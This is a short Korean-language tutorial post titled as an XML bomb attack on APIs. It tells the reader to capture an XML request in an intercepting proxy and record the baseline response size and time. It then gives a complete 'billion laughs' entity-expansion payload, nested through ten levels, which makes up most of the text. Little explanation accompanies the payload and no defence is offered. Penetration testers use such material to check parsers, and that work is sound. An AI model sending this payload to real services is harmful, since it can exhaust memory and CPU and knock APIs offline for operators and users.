웃음으로 죽이기 LOLzz….API의 XML 폭탄 공격.
Dec 26 2022
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- 먼저 Burp Suite와 같은 프록시 가로채기 도구에서 xml 요청을 캡처합니다. 응답 크기와 시간(예: 1658바이트 및 139밀리)에 유의하십시오.
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>

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